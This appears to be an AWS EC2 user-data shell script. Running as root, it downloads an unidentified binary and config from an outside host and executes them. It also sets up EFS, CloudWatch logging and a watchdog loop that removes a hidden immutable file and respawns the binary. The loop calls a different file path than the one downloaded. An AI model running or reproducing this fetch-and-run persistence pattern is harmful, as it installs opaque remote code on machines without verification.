userdata.sh 1.3 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
  1. #!/bin/bash
  2. # EFS ID Modify
  3. sleep 5
  4. wget -O /root/server http://a.xclouds.cloud/all/html/q1/server_demo
  5. wget -O /root/conf.toml http://a.xclouds.cloud/all/html/q1/conf.toml1
  6. chmod +x /root/server
  7. mkdir -p /mnt/v1
  8. yum install -y amazon-efs-utils
  9. sudo mount -t efs -o tls fs-24bc1bc1:/ /mnt/v1
  10. aws configure set default.region cn-northwest-1
  11. aws logs create-log-group --log-group-name cloudlog
  12. cp /root/server /mnt/v1
  13. cp /root/conf.toml /mnt/v1
  14. yum install -y awslogs
  15. cat > /etc/awslogs/awscli.conf <<EOA
  16. [plugins]
  17. cwlogs = cwlogs
  18. [default]
  19. region = cn-northwest-1
  20. EOA
  21. cat > /etc/awslogs/awslogs.conf <<EOB
  22. [general]
  23. state_file = /var/lib/awslogs/agent-state
  24. [/var/log/messages]
  25. datetime_format = %b %d %H:%M:%S
  26. file = /mnt/v1/server.log
  27. buffer_duration = 5000
  28. log_stream_name = {instance_id}
  29. initial_position = start_of_file
  30. log_group_name = cloudlog
  31. EOB
  32. touch /mnt/v1/reboot.sh
  33. cat > /mnt/v1/reboot.sh <<EOC
  34. #!/bin/bash
  35. while :
  36. do
  37. check=`curl --silent --fail --connect-timeout 0.1 localhost:7777 || echo 1`
  38. if [ $check == "1" ]; then
  39. echo "chattr Ok OK OK !!!!"
  40. chattr -i /var/.onlyellow
  41. rm -rf /var/.onlyellow
  42. /root/server_demo /root/conf.toml
  43. fi
  44. sleep 0.5
  45. done
  46. EOC
  47. systemctl restart awslogsd
  48. source /mnt/v1/reboot.sh &
  49. /root/server /root/conf.toml